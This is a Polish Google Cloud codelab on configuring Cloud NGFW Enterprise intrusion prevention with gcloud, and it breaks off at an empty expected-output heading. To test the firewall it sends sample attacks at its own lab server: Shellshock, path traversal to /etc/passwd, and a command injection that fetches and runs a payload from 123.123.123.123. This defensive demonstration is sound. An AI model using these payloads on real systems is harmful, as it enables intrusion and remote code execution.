Cloud NGFW Enterprise – usługa zapobiegania włamaniom (bez inspekcji TLS)

1. Wprowadzenie

Cloud Next Generation Firewall (NGFW)

Zapora sieciowa Cloud Next Generation to w pełni rozproszona usługa zapory sieciowej z zaawansowanymi funkcjami ochrony, mikrosegmentacją i kompleksowym zasięgiem, która chroni Twoje zbiory zadań w Google Cloud przed atakami wewnętrznymi i zewnętrznymi.

Cloud NGFW zapewnia te korzyści:

  • Rozproszona usługa zapory sieciowej: Cloud NGFW zapewnia stanową, w pełni rozproszoną kontrolę hosta w przypadku każdego zbioru zadań, aby umożliwić architekturę zabezpieczeń opartą na zasadzie „zero zaufania”.
  • Uproszczona konfiguracja i wdrożenie: zapora NGFW w chmurze implementuje zasady zapory sieciowej i hierarchicznej, które można dołączyć do węzła hierarchii zasobów. Te zasady zapewniają spójne działanie zapory sieciowej w całej hierarchii zasobów Google Cloud.
  • Szczegółowa kontrola i mikrosegmentacja: połączenie zasad zapory sieciowej i tagów zarządzanych przez usługę Identity and Access Management (IAM) zapewnia precyzyjną kontrolę ruchu w kierunkach północ-południe i wschód-zachód, aż do poziomu pojedynczej maszyny wirtualnej w sieciach VPC i organizacjach.

Usługa Cloud NGFW jest dostępna w tych poziomach:

Cloud NGFW Enterprise

Cloud NGFW Enterprise dodaje do rozproszonej architektury zapory Google Cloud funkcję zapobiegania włamaniom (IPS), która działa na poziomie 7. Inspekcja TLS umożliwia inspekcję ruchu szyfrowanego TLS, ale wykracza poza zakres tego Codelab (zobacz Codelab Cloud NGFW Enterprise z inspekcją TLS).

Możesz teraz wdrażać niezawodne inspekcje zapory NGFW warstwy 7 z dokładnymi kontrolkami bez wprowadzania zmian w architekturze sieci lub konfiguracji routingu.

Aby aktywować i wdrożyć kontrolę zapory sieciowej warstwy 7 za pomocą IPS, wykonaj te czynności:

  • Utwórz zestaw punktów końcowych strefowych zapory sieciowej zarządzanych przez Google Cloud.
  • Opcjonalnie utwórz zasadę kontroli TLS (nie omawiana w tym CodeLab)
  • Opcjonalnie utwórz konfigurację zaufania (nie jest to omawiane w tym laboratorium programistycznym)
  • Połącz te punkty końcowe z sieciami VPC, w których potrzebujesz usługi Cloud NGFW Enterprise.
  • Wprowadź proste zmiany w dotychczasowych zasadach i regułach zapory sieciowej, aby określić profile zapobiegania zagrożeniom dla różnych ścieżek ruchu.

Zasady zapory sieciowej

Zasada zapory sieciowej działa jako kontener dla reguł zapory sieciowej. Reguły zdefiniowane w zasadach zapory sieciowej nie są egzekwowane, dopóki nie zostaną powiązane z siecią VPC. Każda sieć VPC może mieć powiązaną jedną zasadę zapory sieciowej. Zasady zapory sieciowej obsługują w regułach zapory sieciowej tagi zarządzane przez uprawnienia (lub po prostu tagi), które zastępują obecne tagi sieci i mogą służyć do identyfikacji zadań.

Udostępnianie reguł zapory sieciowej w różnych sieciach i integracja z tagami zarządzanymi przez uprawnienia znacznie upraszcza konfigurowanie zapory i zarządzanie nią.

Wraz z wprowadzeniem zasady zapory sieciowej zasady zapory Google Cloud składają się z tych komponentów:

  1. Hierarchiczne zasady zapory sieciowej
  2. Reguły zapory sieciowej VPC
  3. Zasady zapory sieciowej ( globalne i regionalne)

Hierarchiczne zasady zapory sieciowej są obsługiwane w węzłach organizacji i folderów w hierarchii zasobów, natomiast reguły zapory sieciowej VPC i zasady zapory sieciowej sieci są stosowane na poziomie VPC. Duża różnica między regułami zapory sieciowej VPC a zasadami zapory sieciowej polega na tym, że reguły zapory sieciowej VPC można zastosować tylko do jednej sieci VPC, podczas gdy zasady zapory sieciowej można dołączyć do jednej sieci VPC lub grupy sieci VPC, co wiąże się z innymi korzyściami, takimi jak aktualizacje zbiorcze.

Wreszcie mamy też niejawne reguły zapory sieciowej, które są dostępne w każdej sieci VPC:

  • Reguła wychodząca, której działanie to zezwalanie, a miejsce docelowe to 0.0.0.0/0
  • Reguła ruchu przychodzącego, której działaniem jest odmowa, a źródłem jest 0.0.0.0/0

Domyślna sekwencja egzekwowania zasad wygląda tak:

21b3bcabc469ffe.png

Pamiętaj, że kolejność stosowania reguł zapory sieciowej VPC i zasad zapory sieciowej sieci globalnej może być odwrotna. Klienci mogą w dowolnym momencie określić kolejność stosowania zasad za pomocą polecenia gcloud.

Tagi zarządzane przez usługę IAM

Nowe tagi zintegrowane z regułami zasad zapory sieciowej to zasoby par klucz-wartość zdefiniowane na poziomie organizacji lub projektu w hierarchii zasobów Google Cloud. Taki tag zawiera kontrolę dostępu w uprawnieniach IAM, która określa, kto może wykonywać określone działania na tym tagu. Uprawnienia IAM umożliwiają na przykład określenie, które podmioty zabezpieczeń mogą przypisywać wartości do tagów i które podmioty zabezpieczeń mogą dołączać tagi do zasobów. Po zastosowaniu tagu do zasobu reguły zapory sieciowej mogą używać go do zezwalania na ruch i odrzucania go.

Etykiety są zgodne z modelem zasobów dziedziczenia Google Cloud, co oznacza, że etykiety i ich wartości są przekazywane w hierarchii od elementów nadrzędnych. Dzięki temu tagi mogą być tworzone w jednym miejscu, a potem używane przez inne foldery i projekty w hierarchii zasobów. Więcej informacji o tagach i ograniczeniach dostępu znajdziesz tutaj.

Tagów nie należy mylić z tagami sieci. Te ostatnie to ciągi znaków, które można dodać do instancji Compute Engine. Są one powiązane z instancją i znikają, gdy zostanie ona wycofana. Reguły zapory sieciowej VPC mogą zawierać tagi sieci, ale ponieważ nie są one uważane za zasoby w chmurze, nie podlegają kontroli dostępu IAM.

W tym dokumencie terminy „tagi” i „tagi zarządzane przez usługę IAM” są używane zamiennie.

Co utworzysz

Ten moduł praktyczny wymaga utworzenia jednego projektu i skonfigurowania sieci VPC z publicznym połączeniem. Podczas jego wykonywania zobaczysz, jak usługa Cloud NGFW Enterprise może zapewniać funkcję IPS, wykonując te czynności:

  • Sprawdzanie przepływów w obrębie VPC lub podłączenia (wschód-zachód)
  • Sprawdzanie przepływów przychodzących z Internetu [Północ-Południe]

Przepływy do sprawdzenia zostaną wybrane za pomocą parametrów dopasowywania zapory sieciowej Cloud, w tym 5-tuple (źródłowy adres IP, docelowy adres IP, protokół, źródłowy port, docelowy port) i tagów. Inspekcja TLS nie jest uwzględniona w tym ćwiczeniu z programowania.

52a0642ef8668ecf.png

Baza reguł zasad zapory sieciowej będzie wyglądać podobnie do tabeli poniżej:

Priorytet

Kierunek

Target

Źródło

Cel

Działanie

Typ

100

Ruch wychodzący

Quarantine_Tag

Dowolny

Dowolny

Odmów

Essentials

1000

Ruch przychodzący

Server_Tag

Zakresy kontroli stanu

Dowolny

Zezwól

Essentials

2000

Ruch przychodzący

Dowolny

Zakresy serwera proxy identyfikującego tożsamość

Dowolny

Zezwól

Essentials

3000

Ruch przychodzący

Dowolny

Geo, GCTI

Dowolny

Odmów

Standardowy

4000

Ruch wychodzący

Dowolny

Dowolny

Geo, GCTI

Odmów

Standardowy

5000

Ruch wychodzący

Dowolny

Dowolny

Pełne i jednoznaczne nazwy domen aktualizacji systemu

Zezwól

Standardowy

6000

Ruch przychodzący

Server_Tag

10.0.0.0/24

Dowolny

system zapobiegania włamaniom

Firma

7000

Ruch przychodzący

Server_Tag

CloudNAT_IP

Dowolny

system zapobiegania włamaniom

Firma

Czego się nauczysz

Czego potrzebujesz

  • Projekt Google Cloud
  • umiejętność wdrażania instancji i konfigurowania elementów sieci;
  • Wiedza o konfiguracji zapory sieciowej VPC

2. Zanim zaczniesz

Tworzenie i aktualizowanie zmiennych

Ten warsztat programistyczny wykorzystuje zmienne $variables, aby ułatwić implementację konfiguracji gcloud w Cloud Shell.

W Cloud Shell uruchom podane niżej polecenia, zastępując informacje w nawiasach w razie potrzeby (pomiń ustawienie projektu, jeśli jest już ustawiony). W przypadku zasobów na poziomie organizacji, jeśli potrzebne są np. liczne punkty końcowe zapory sieciowej, używana jest inna zmienna.

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. Włącz interfejsy API

Włącz interfejsy API, jeśli nie zrobiono tego wcześniej:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Tworzenie profilu zabezpieczeń i punktu końcowego Cloud NGFW Enterprise

Ponieważ utworzenie punktu końcowego Cloud NGFW Enterprise zajmuje około 20 minut, zostanie on utworzony jako pierwszy, a konfiguracja podstawowa może być wykonywana równolegle z tworzeniem punktu końcowego.

Utwórz profil zabezpieczeń i grupę profili zabezpieczeń:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

Oczekiwany wynik:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

Sprawdź, czy zasoby zostały utworzone:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Oczekiwany wynik:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

Utwórz punkt końcowy Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

Uruchom podane niżej polecenie, aby sprawdzić, czy punkt końcowy jest tworzony (STAN: CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Oczekiwane dane wyjściowe (pamiętaj, że format danych wyjściowych może się różnić w zależności od używanego klienta):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

Aby uzyskać więcej informacji, opcjonalnie uruchom to polecenie:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Oczekiwany wynik:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

Proces tworzenia punktu końcowego trwa około 20 minut. Przejdź do sekcji Konfiguracja podstawowa, aby równolegle tworzyć wymagane zasoby.

5. Konfiguracja podstawowa

Jeśli wolisz tworzyć zasoby podstawowe ręcznie, przejdź do poniższych sekcji.

sieć VPC i podsieć,

Sieć VPC i podsieć

Utwórz sieć VPC i podsieć:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Utwórz routery Cloud Router i bramy Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instancje

Utwórz instancje klienta i serwera WWW:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

Tagi na poziomie projektu

W razie potrzeby przypisz użytkownikowi uprawnienia tagAdmin lub tagUser:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

Utwórz klucz i wartości tagu na poziomie projektu:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

Połącz tagi z instancjami:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Zasady zapory sieciowej sieci globalnej

Aby utworzyć globalną zasadę zapory sieciowej:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

Utwórz reguły Cloud Firewall Essential, aby odrzucić ruch z kwarantanny (stworzonej tylko na potrzeby przykładu, nieużywanej w tym laboratorium programistycznym) i zezwolić na ruch z zakresów kontroli stanuprzesyłania identyfikatorów:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

Utwórz reguły zapory sieciowej Cloud Standard, aby odmówić ruchu przychodzącego i wychodzącego z/do krajów objętych embargiem, znanych złośliwych adresów IP i węzłów wyjściowych ToR; zezwól tylko na ruch wychodzący do określonych nazw domen FQDN na potrzeby aktualizacji systemu (stworzone tylko jako przykład, nieużywane w tym CodeLab):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

Utwórz reguły zapory Cloud Firewall, aby zezwalać na ruch przychodzący z północnego na południe / w ramach podsieci i z północnego na południe / z internetu z określonych zakresów (te reguły zostaną zaktualizowane, aby włączyć Cloud NGFW Enterprise):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Połącz zasadę zapory sieciowej z siecią VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

Zewnętrzny sieciowy system równoważenia obciążenia TCP/UDP

Zarezerwuj zewnętrzny adres IP i utwórz grupę instancji oraz kontrolę stanu:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

Utwórz usługę backendu i regułę przekierowania:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. Powiązanie punktu końcowego Cloud NGFW Enterprise

W razie potrzeby zdefiniuj ponownie zmienne środowiskowe.

Sprawdź, czy utworzenie punktu końcowego zapory Cloud Firewall zostało zakończone. Kontynuuj dopiero wtedy, gdy stan będzie wyświetlany jako AKTYWNY (podczas tworzenia oczekiwany stan to TWORZENIE):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Oczekiwany wynik (pamiętaj, że format danych wyjściowych może się różnić w zależności od używanego klienta):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

Aby uzyskać więcej informacji, opcjonalnie uruchom to polecenie:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Oczekiwany wynik:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

Połącz punkt końcowy Cloud NGFW Enterprise z siecią VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

Proces kojarzenia trwa około 10 minut. Kontynuuj dopiero wtedy, gdy stan będzie wyświetlany jako AKTYWNY (oczekiwany stan podczas procesu tworzenia to TWORZENIE):

gcloud network-security firewall-endpoint-associations list

Oczekiwany wynik:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

Aby uzyskać więcej informacji, opcjonalnie uruchom to polecenie:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Oczekiwany wynik:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. Reguły inspekcji Cloud NGFW Enterprise

Otwórz nową kartę i zainicjuj połączenie SSH z maszyną wirtualną klienta za pomocą IAP (w nowej karcie musisz ponownie zdefiniować zmienną):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Zdefiniuj wymagane zmienne w sesji SSH i ustaw je (upewnij się, że wartości są prawidłowe):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

curl obu adresów IP, aby potwierdzić, że są dostępne:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

Oczekiwany wynik w przypadku obu żądań curl:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

Wysyłanie przykładowych ataków na adres IP wewnętrznego serwera (ruch wschodnio-zachodni / ruch wewnątrz VPC). Serwer WWW powinien odpowiadać na wszystkie żądania, potwierdzając, że nie ma żadnej kontroli ani zapobiegania na poziomie L7:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Ponownie prześlij przykładowe ataki do zewnętrznego adresu IP serwera za pomocą Cloud NAT (ruch docierający z północy na południe), a serwer WWW powinien odpowiadać na wszystkie żądania:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Oczekiwane wyniki zarówno w przypadku adresów IP publicznych, jak i prywatnych:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Wróć do Cloud Shell i zaktualizuj istniejące reguły dostępu, aby włączyć inspekcję L7:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Opcjonalnie opisz reguły zapory sieciowej, aby sprawdzić, czy obie zostały zaktualizowane:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Oczekiwany wynik:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Reguła 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Oczekiwany wynik:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Wróć do maszyny wirtualnej klienta i ponownie wyślij przykładowe ataki na adres IP wewnętrznego serwera (sprawdzanie wschodnie-zachodnie / w VPC):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Ponownie prześlij przykładowe ataki do zewnętrznego adresu IP serwera za pomocą Cloud NAT (sprawdzanie przychodzących połączeń w kierunku północ-południe):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

W przypadku pierwszych ataków nie otrzymano żadnych odpowiedzi, co potwierdza, że ataki o wysokiej wagi są teraz blokowane.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

W konsoli Cloud otwórz Bezpieczeństwo sieciowe > Zagrożenia, aby sprawdzić dzienniki (jeśli ataki nie są jeszcze widoczne, może być konieczne odświeżenie kilkukrotnie).

daa535fcc34873aa.png

Wybierz jeden z ataków i po prawej stronie kliknij „Wyświetl dziennik kontroli” (otwórz go w nowej karcie, aby łatwo wrócić). Rozwiń atak, aby wyświetlić szczegóły:

5f97cdef79e42eff.png

Opcjonalnie możesz zastąpić filtr Eksploratora logów tym zapytaniem:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

Wpisy w logu zagrożeń powinny wyglądać tak:

5ea9581a7eb694c5.png

Przechwycone pakiety zapory Cloud Firewall można zweryfikować za pomocą filtra w Eksploratorze logów:

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

Kontynuuj inspekcję ruchu internetowego (opcjonalnie) lub zamknij sesję SSH i przejdź do następnego rozdziału, aby dowiedzieć się, jak zakończyć proces.

[Opcjonalnie] Kontrola ruchu internetowego

Jak już sprawdziliśmy w poprzedniej sekcji, do tej pory zbadane zostały przepływy w ramach podłącza/VPC (ze wschodu na zachód) oraz ruch przychodzący z internetu (z północy na południe). Cloud NGFW Enterprise można też skonfigurować tak, aby sprawdzał cały ruch internetowy (z północy na południe), tworząc nową regułę wychodzącą za pomocą Cloud Shell:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Wróć do maszyny wirtualnej klienta i ponownie wyślij ataki o wysokim stopniu zagrożenia na adres IP zewnętrznego serwera:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

Oczekiwany wynik:

